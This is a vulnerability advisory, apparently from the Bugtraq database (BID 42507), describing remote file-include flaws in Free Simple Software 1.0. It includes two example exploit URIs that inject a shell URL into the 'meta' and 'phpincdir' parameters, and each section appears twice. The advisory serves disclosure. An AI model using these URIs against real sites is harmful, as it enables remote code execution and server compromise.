Free Simple Software Multiple Remote File Include Vulnerabilities
BID:42507
Info
Free Simple Software Multiple Remote File Include Vulnerabilities
| Bugtraq ID: | 42507 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 17 2010 12:00AM |
| Updated: | Aug 17 2010 12:00AM |
| Credit: | Dr.$audi |
| Vulnerable: |
Dustin Cowell Enterprises Free Simple Software 1.0 |
| Not Vulnerable: | |
Discussion
Free Simple Software Multiple Remote File Include Vulnerabilities
Free Simple Software is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
Free Simple Software 1.0 is vulnerable; other versions may also be affected.
Free Simple Software is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
Free Simple Software 1.0 is vulnerable; other versions may also be affected.
Exploit / POC
Free Simple Software Multiple Remote File Include Vulnerabilities
An attacker can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/path/themes/default/index.php?meta=[Shell URL]?
http://www.example.com/path/themes/default/index.php?phpincdir=[Shell URL]?
An attacker can exploit these issues via a browser.
The following example URIs are available:
http://www.example.com/path/themes/default/index.php?meta=[Shell URL]?
http://www.example.com/path/themes/default/index.php?phpincdir=[Shell URL]?
Solution / Fix
Free Simple Software Multiple Remote File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Free Simple Software Multiple Remote File Include Vulnerabilities
References:
References:
- #2010-003 Free Simple CMS path sanitization errors (Evan Pitstick)
- Free Simple Software Homepage (Dustin Cowell Enterprises)